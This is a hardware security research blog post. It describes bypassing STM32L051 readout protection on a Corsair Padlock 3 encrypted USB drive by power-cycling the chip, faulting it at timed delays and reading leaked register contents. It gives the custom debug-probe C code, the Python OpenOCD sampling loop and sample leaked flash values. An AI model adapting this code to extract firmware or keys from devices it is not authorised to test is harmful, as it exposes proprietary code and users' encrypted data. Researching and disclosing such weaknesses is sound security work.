Posts How to Bypass Readout Protection on a Microcontroller
Post
Cancel

How to Bypass Readout Protection on a Microcontroller

Bypassing readout protection of STM32 microcontrollers through voltage glitching is well established, and previous work has shown that the STM32L051 is vulnerable to a flash-erase suppression attack that can unprotect the chip and allow full firmware extraction. However, this approach is unreliable – deleting the entire flash content during the attack is a real risk. In this article, we present an alternative method for recovering firmware from the STM32L051 that requires only debug access to the microcontroller.

Introduction

Our ultimate target is the Corsair Padlock 3 USB stick, a USB thumb drive featuring physical buttons that can be used to unlock the device. The manufacturer claims it is secure, shockproof, water-resistant, and built as a high-performance flash drive designed to hold confidential and sensitive information. Files are protected by 256-bit AES hardware encryption with security protocols that meet government standards. The question is whether these claims hold up against an attacker with direct hardware access who wants to decrypt the drive and extract its files.

Stripped-down Corsair Padlock 3 USB stick

The USB stick contains three key components: a Phison eMMC chip (PTE4A0TN-64GE), an STM32L051 microcontroller, and a USB bridge controller (PS2251-13-Q). We set out to understand the role of the STM32L051 – why it is necessary, whether it handles encryption, and whether any cryptographic keys are stored on the device. To answer these questions, we needed to extract the microcontroller’s firmware, but the chip was readout-protected.

Why not glitching?

STM32 chips implement a readout protection mechanism that prevents unauthorized debug probes from accessing flash memory. When the first level of protection is enabled (Readout Protection level 1, RDP-1), reading the flash via the debug port is not possible. Previous research projects have demonstrated that voltage glitching can bypass this protection on various STM32 variants, as shown in Attacking the STM32F4 with the PicoGlitcher and Attacking the Trezor One Crypto Wallet.

However, glitching can produce unwanted side effects, such as accidentally erasing flash or unintentionally activating other protection bits like per-region read protection (PCROP). After many attempts, we found that the STM32L051 does not respond to glitching the memory-read command the way other STM32 chips do. Even when a glitch succeeds, the microcontroller keeps resetting itself after the number of bytes to read from memory is sent to the microcontroller, which breaks the firmware readout.

Microcontroller resets itself

This behavior differs significantly from other STM32 microcontrollers that are known to be vulnerable to voltage glitching. While the STM32L051 is indeed susceptible to a flash-erase suppression attack, several unsuccessful attempts at extracting firmware using this technique convinced us to explore an alternative approach.

Pile of shame -- Corsair Padlock 3 USB sticks with STM32L051 microcontroller desoldered for analysis

Ripping the memory from its cold hands

Motivated by prior work – specifically Shedding too much Light on a Microcontroller’s Firmware Protection by Obermeier et al. and TraceRip by Omo and Rowley – we determined that observing register contents at multiple points during the boot process offers a reliable path to recovering the firmware. The technique leaks the CRC stored in SRAM or scratch registers, both of which remain accessible even at RDP-1 protection level.

Our attack proceeds as follows. First, the target microcontroller is powered off. It is then powered on while held in reset and the debug block settings are configured before releasing the processor reset to begin booting. A random delay is chosen after which a bus read is issued to trigger a HardFault. At that moment, the registers and parts of SRAM are read out. This cycle repeats until enough samples have been collected. The result is a large dataset of register and SRAM contents captured at different points in time after boot.

Hardware setup

For the attack we use a Pico Glitcher, originally designed for voltage glitching attacks. Since the Pico Glitcher is based on a Raspberry Pi Pico, it is highly versatile and can be reprogrammed to act as a CMSIS-DAP debug probe. It also provides a software-controlled power supply that can be used to power-cycle the target device on demand.

Attack setup with the Pico Glitcher and the STM32L051 target board

From left to right: STM32L051 target board specifically designed for side-channel attacks, Raspberry Pi CMSIS-DAP debug-probe to program the Pico Glitcher (optional), and the Pico Glitcher.

Software

The Pico Glitcher runs a modified debugprobe firmware adapted to the GPIO pin layout of the Pico Glitcher. With this software, the device functions as a CMSIS-DAP debug probe with controllable power supply. We added a custom DAP command that executes the sequence described above: power cycling the target, configuring the debug block, releasing reset, waiting for a precise delay, and triggering a HardFault via a targeted bus read.

static uint8_t DelayBusRead(uint32_t delay_us, uint32_t address, uint64_t *result) {
    *result = 0ULL;
    uint8_t status = DAP_OK;

    // power off and reset target
    probe_assert_vtarget(0);
    probe_assert_reset(0);
    Delayus(100000); // delay until power down

    // power on target
    probe_assert_vtarget(1);
    Delayus(10000); // delay until power up

    // configure debug block
    DAP_SendSequence(swd_seq_jtag_to_swd_len, swd_seq_jtag_to_swd);
    DAP_GetIDCode();
    DAP_ClearStickyErrors();
    DAP_Select();
    DAP_PowerUpDebugDomain();
    probe_assert_reset(1);

    // Precise delay using PIN_DELAY_SLOW
    if (delay_us > 0)
        Delayus(delay_us);

    // read from given address and create a hardware fault if rdp 1 is set
    uint32_t reg_value = 0U;
    status = DAP_ReadTargetRegister(address, &reg_value);

    // Capture timestamp
    uint32_t timestamp = TIMESTAMP_GET();

    // Build result: [Status(8)] [RegValue(32)]
    // Using uint64_t to avoid shift overflow when extracting individual fields
    *result |= ((uint64_t)reg_value << 32);  // register value in the upper 32 bits
    *result |= ((uint64_t)timestamp);        // Timestamp in lower 32 bits

    return status;
}

The Pico Glitcher is controlled by a Python script that selects the delay value, triggers the HardFault creation, and reads out the registers and small SRAM portion via OpenOCD. The create_fault method splits the 32-bit delay into four hex bytes, and launches OpenOCD as a subprocess with a chained command sequence – sending a custom DAP command to the Pico Glitcher, halting the target, reading registers and a chunk of SRAM. The run method drives the experiment in a loop, each time picking a random delay, invoking create_fault, and collecting the resulting register and SRAM snapshot until enough samples are gathered for correlation analysis.

    def create_fault(self, delay:int, reg_name_list:list[str], start_address:int, width:int = 32, count:int = 256, verbose:bool = False):

        delay24_31 = (delay & 0xff000000) >> 24
        delay16_23 = (delay & 0x00ff0000) >> 16
        delay08_15 = (delay & 0x0000ff00) >> 8
        delay00_07 = (delay & 0x000000ff) >> 0
        reg_string = ' '.join(reg_name_list)

        args = [
            'openocd',
            '-f', self.interface_config,
            '-c', f'transport select {self.transport}',
            '-f', self.target_config,
            '-c', 'init',
            '-c', f"cmsis-dap cmd 0x80 0x{delay24_31:02x} 0x{delay16_23:02x} 0x{delay08_15:02x} 0x{delay00_07:02x} 0x08 0x00 0x00 0x00",
            '-c', f"halt; get_reg }",
            '-c', f"read_memory 0x{start_address:08x} {width} {count}",
            '-c', 'shutdown'
            ]
       result = subprocess.run(args, text=True, capture_output=True)
       ...

    def run(self):
        s_delay = self.args.delay[0]
        e_delay = self.args.delay[1]

        s_dummy = 0
        e_dummy = 100

        experiment_id = 0
        response = ""
        reg = []
        while True:
            print("[+] Starting new attempt.")
            delay = random.randint(s_delay, e_delay)
            dummy = random.randint(s_dummy, e_dummy)

            # create hard fault and read registers
            reg, ram, response = self.debugger.create_fault(
                delay=delay,
                reg_name_list=self.reg_keys,
                start_address=0x20000000,
                width=32,
                count=32,
                verbose=False)
    ...

After extracting many samples of register and SRAM contents, we characterize the responses and mark interesting delay values. Regions with a potential flash memory address are marked red, while SRAM regions are highlighted in orange.

    def overview_characterize(self, response:str, mem:list[str], ram:list[str]) -> list[tuple[bytes, str]]:
        flash_address_found = False
        ram_address_found = False
        interesting_ram_content_found = False

        for m in mem:
            mi = hex_type(m)
            if mi >= 0x08000000 and mi < 0x0c000000:
                flash_address_found = True
            elif mi >= 0x20000000 and mi < 0x20800000:
                ram_address_found = True
        for r in ram:
            ri = hex_type(r)
            if ri != 0xe5e5e5e5:
                interesting_ram_content_found = True
                
        if flash_address_found:
            return [(b'success: Flash memory address found in dump', 'R')]
        elif interesting_ram_content_found:
            return [(b'success: Interesting values in RAM found', 'M')]
        elif ram_address_found:
            return [(b'success: RAM memory address found in dump', 'O')]
        elif len(mem) != 0 and len(ram) != 0:
            return [(b'expected: memory read successful', 'G')]
        # no response
        return [(b'error: no response', 'Y')]

The resulting plot can be analyzed and the register values correlated with their corresponding delay times. The plot with colored regions depending on the characterization is shown in the following figure.

Overview of register contents at different delay times

An interesting region emerges between 9.700 and 15.400 microseconds, where three distinct flash addresses appear in the registers, as can be seen in the next figure.

Interesting region between 9.700 and 15.400 microseconds

Close examination of register r3 reveals a strong correlation with the delay value, indicating that a function iterates through the microcontroller’s flash memory during this window.

Register r3 correlates with the delay

This gives us a strong candidate for a cold stepping or register destillation attack.

Feeling lucky?

Within the 9.700–15.400 microsecond window, we inspect all available registers and a portion of SRAM. Register r1 initially appears to contain seemingly random bytes – at first glance, they could be a CRC value. But upon closer inspection, they are even simpler: r1 holds the actual flash content at the address pointed to by r3.

r3,r1
0x0800a450,0xfcb4f7fe
0x080058f4,0x24feb570
0x08008c5c,0x604318d3
0x0800cc34,0x45202a23
0x04c11db7,0x0808000a
0x080035ac,0x797ae64c
0x04c11db7,0x0808024e
0x08002b84,0x46627c95
0x04c11db7,0x0808023a
0x04c11db7,0x080800a9
0x08007350,0xda032a00
0x080076b4,0x320d68a3
0x04c11db7,0x080801a5
0x0800030c,0xe03e4a33
0x08003e54,0x4b1c431a
0x0800700c,0xd1ef2c10
0x0800bf64,0x2d2d2d2d
0x0800b6fc,0x1ba3e7f4
0x08009acc,0x20001214
...

The final step is straightforward: write the observed bytes at their respective addresses into a binary file. The result is a complete dump of the device’s firmware.

Excerpt of the flash content

Summary and planned work

With the firmware now extracted, the next phase of analysis focuses on understanding how the STM32L051 microcontroller contributes to the overall security of the Corsair Padlock 3. We will reverse-engineer the recovered binary to determine whether the microcontroller handles AES encryption directly or acts as a key manager coordinating with the Phison eMMC controller. This includes identifying the bootloader, application code, and the communication protocols between the three chips on the board. A central question is how the 256-bit AES encryption is implemented – in hardware or software – and whether cryptographic keys are generated dynamically or stored statically on the device. In particular, we want to locate where the keys reside in flash or SRAM, and investigate whether they are derived from device-specific identifiers such as a unique UID or factory-programmed secrets.

This post is licensed under CC BY 4.0 by the author.